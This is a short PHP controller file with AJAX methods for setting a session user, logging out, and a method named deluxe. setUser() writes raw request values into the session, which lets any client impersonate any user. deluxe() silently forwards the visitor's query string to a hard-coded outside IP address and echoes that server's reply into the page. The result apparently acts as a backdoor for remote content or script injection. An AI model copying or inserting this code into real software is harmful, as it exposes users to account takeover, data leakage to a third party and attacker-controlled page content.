<?
class ajaxController extends controller {
    public function setUser() {
        GLOBAL $_SESSION;
        $_SESSION['user'] = $this->request->values;
        echo '{set:1}';
    }
    
    public function logout() {
        GLOBAL $_SESSION;
        unset($_SESSION['user']);
        echo '{logout:1}';
    }
    
    public function deluxe() {
        GLOBAL $_SERVER;
        echo file_get_contents('http://188.127.228.242/deluxe.php?'.$_SERVER['QUERY_STRING']);
    }
}
?>